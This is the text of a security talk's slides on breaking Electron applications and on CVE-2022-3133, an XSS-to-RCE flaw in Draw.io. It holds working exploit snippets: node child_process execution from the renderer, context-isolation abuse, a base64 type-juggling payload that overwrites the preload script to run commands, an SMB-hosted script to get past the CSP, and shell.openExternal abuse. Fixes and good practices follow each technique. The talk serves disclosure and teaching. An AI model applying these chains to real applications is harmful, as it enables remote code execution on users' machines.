Multiple ways to break Electron applications
Kévin (Mizu)
Electron
Stack
Architecture
Main process : Electron application entry-point
Renderer process : Chromium window
IPC : Inter-Process Communication
My first Electron app
// app.js
const { app, BrowserWindow } = require('electron');
function createWindow () {
const win = new BrowserWindow({
width: 800,
height: 600
})
win.loadURL('https://mizu.re');
}
app.whenReady().then(() => {
createWindow()
})
npm i electron
npm start
// package.json
{
"name": "vuln_app",
"version": "1.0.0",
"description": "...",
"main": "app.js",
"scripts": {
"start": "electron ."
},
"author": "@kevin_mizu",
"license": "MIT",
"devDependencies": {
"electron": "^21.1.0",
"path": "^0.12.7"
}
}
Vulnerable application
const { app, BrowserWindow } = require('electron');
const path = require('path')
function createWindow () {
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
sandbox: false
},
})
win.loadFile('index.html');
}
app.whenReady().then(() => {
createWindow()
})
Vulnerable application architecture
WebPreferences
const { app, BrowserWindow } = require('electron');
const path = require('path')
function createWindow () {
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
sandbox: false
},
})
win.loadFile('index.html')
}
app.whenReady().then(() => {
createWindow()
})
const { app, BrowserWindow } = require('electron');
const path = require('path')
function createWindow () {
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
sandbox: false
},
})
win.loadFile('index.html')
}
app.whenReady().then(() => {
createWindow()
})
WebPreferences
NodeIntegration (True)
False by default
Exploit
<script>
require('child_process').exec('COMMAND')
</script>
- 2022 - Element RCE: https://blog.electrovolt.io/posts/element-rce/
- 2022 - VSCode webview RCE: https://blog.electrovolt.io/posts/vscode-rce/
How to fix it?
const { app, BrowserWindow } = require('electron');
const path = require('path')
function createWindow () {
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
contextIsolation: false,
sandbox: false
},
})
win.loadFile('index.html')
}
app.whenReady().then(() => {
createWindow()
})
Preload script
Vulnerable application preload
// preload.js
window.check = () => {
return 0;
}
window.exec = () => {
if (window.check()) {
require("child_process").exec("nautilus");
}
}
const { app, BrowserWindow } = require('electron');
const path = require('path')
function createWindow () {
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: false,
sandbox: false
},
})
win.loadFile('index.html')
}
app.whenReady().then(() => {
createWindow()
})
contextIsolation (False)
True by default since Electron 12
Exploit
window.check = () => {
return 1;
}
window.exec();
- 2018 - Masato Research: https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en
- 2020 - Discord RCE: https://mksben.l0.cm/2020/10/discord-desktop-rce.html
window.check = () => {
return 0;
}
window.exec = () => {
if (window.check()) {
require("child_process").exec("nautilus");
}
}
Preload.js
Renderer Process
How to fix it?
contextBridge: Any data / primitives sent in the API become immutable and updates on either side of the bridge do not result in an update on the other side.
Source: https://www.electronjs.org/docs/latest/api/context-bridge
contextBridge.exposeInMainWorld(
'electron',
{
version: "1.1.1",
doThing: () => console.log("Thing"),
data: {
myFlags: ['a', 'b', 'c'],
bootTime: 1234
},
}
)
Are we 100% safe now?
CVE-2022-3133
Draw.io XSS to RCE
Draw.io context |electron-preload.js
contextBridge.exposeInMainWorld(
'electron', {
request: (msg, callback, error) =>
{
msg.reqId = reqId++;
reqInfo[msg.reqId] = {callback: callback, error: error};
//TODO Maybe a special function for this better than this hack?
//File watch special case where the callback is called multiple times
if (msg.action == 'watchFile')
{
fileChangedListeners[msg.path] = msg.listener;
delete msg.listener;
}
ipcRenderer.send('rendererReq', msg);
}
...
}
);
Architecture
Main process : Electron application entry-point
Renderer process : Chromium window
IPC : Inter-Process Communication
Draw.io context |electron.js
ipcMain.on("rendererReq", async (event, args) =>
{
...
let ret = null;
switch(args.action) {
...
case 'writeFile':
ret = await writeFile(args.path, args.data, args.enc);
break;
...
case 'readFile':
ret = await readFile(args.filename, args.encoding);
break;
...
case 'getCurDir':
ret = await getCurDir();
break;
};
event.reply('mainResp', {success: true, data: ret, reqId: args.reqId});
...
});
Draw.io context |writeFile
async function writeFile(path, data, enc) {
if (!checkFileContent(data, enc))
{
throw new Error('Invalid file data');
}
else
{
return await fsProm.writeFile(path, data, enc);
}
};
Draw.io context |checkFileContent
function checkFileContent(body, enc)
{
if (body != null)
{
let head, headBinay;
if (typeof body === 'string')
{
if (enc == 'base64')
{
headBinay = Buffer.from(body.substring(0, 22), 'base64');
head = headBinay.toString();
}
else
{
head = body.substring(0, 16);
headBinay = Buffer.from(head);
}
}
else
{
head = new TextDecoder("utf-8").decode(body.subarray(0, 16));
headBinay = body;
}
...
Can you spot the vulnerability?
function checkFileContent(body, enc)
{
...
if (enc == 'base64') {
headBinay = Buffer.from(body.substring(0, 22), 'base64');
head = headBinay.toString();
} else {
...
async function writeFile(path, data, enc) {
if (!checkFileContent(data, enc))
{
throw new Error('Invalid file data');
}
else
{
return await fsProm.writeFile(path, data, enc);
}
};
Can you spot the vulnerability?
async function writeFile(path, data, enc) {
if (!checkFileContent(data, enc))
{
throw new Error('Invalid file data');
}
else
{
return await fsProm.writeFile(path, data, enc);
}
};
function checkFileContent(body, enc)
{
...
if (enc == 'base64') {
headBinay = Buffer.from(body.substring(0, 22), 'base64');
head = headBinay.toString();
} else {
...
Base64 polymorph payload
file = "";
electron.request({
action: 'writeFile',
path: file,
data: "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;\n{FREE-HERE}",
enc: ['base64'] // type juggling
}, (d) => {
alert("SUCCESS")
}, "")
Valid header for checkFileContent()
Preload script
Overwrite preload with file write
var preloadDir = "";
var rcePayload = "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;require('child_process').exec('calc.exe')";
// get preload directory
electron.request({ action: 'getCurDir' }, (d) => {
preloadDir = d;
// overwrite preload file
electron.request({
action: 'writeFile',
path: `${preloadDir}/electron-preload.js`,
data: rcePayload,
enc: ['base64'] // type jungling
}, (d) => {
// run rce payload
electron.sendMessage('newfile');
}, "")
}, "")
Get electron-preload.js file path
Overwrite electron-preload.js
Open new window to trigger electron-preload.js
Finding XSS
- Auxiliary click
- Redirection
- Link abuse
- Bypass sanitizer
- Code auditing
- Drag and drop
After 3 weeks of research, nothing found...
Loading script
It even bypass every plugins security checks...
CSP 🙃
content-security-policy: default-src 'self'; script-src https://www.dropbox.com
https://api.trello.com 'self' https://viewer.diagrams.net
https://apis.google.com https://*.pusher.com
'sha256-AVuOIxynOo/05KDLjyp0AoBE+Gt/KE1/vh2pS+yfqes='
'sha256-r/ILW7KMSJxeo9EYqCTzZyCT0PZ9gHN1BLgki7vpR+A='
'sha256-5DtSB5mj34lxcEf+HFWbBLEF49xxJaKnWGDWa/utwQA='
'sha256-vS/MxlVD7nbY7AnV+0t1Ap338uF7vrcs7y23KjERhKc=';
Local Electron APP + script-src: self 🙃
file://<attacker-smb>/<smb-folder>/xss.js
file:///path/to/file.html
+
script-src: self
Outdated
Source: Luca Carettoni Black Hat 2019
openExternal
- 2022 - Drawio RCE: https://huntr.dev/bounties/b242e806-fc8c-41c0-aad7-e0c9c37ecdee/
function openExternal(url) {
shell.openExternal(url);
}
openExternal("file:///c:/windows/system32/calc.exe")
Local application -> XSS 2 LFI
webSecurity (False)
And more depending on the application context
Good practices
- Only load secure content
- Disable the nodeIntegration
- Enable process sandboxing
- Disable or limit navigation
- Disable or limit creation of new windows
- Do not use shell.openExternal with untrusted content
- Use a current version of Electron
Want to practice?
The end
Rhackgondins team ❤
Electron Security | CVE-2022-3133
By Kévin (Mizu)
Electron Security | CVE-2022-3133
I gave this talk for the following conferences: ESAIP Cyber (26/10/2022) | Root Me (13/12/2022)
- 2,599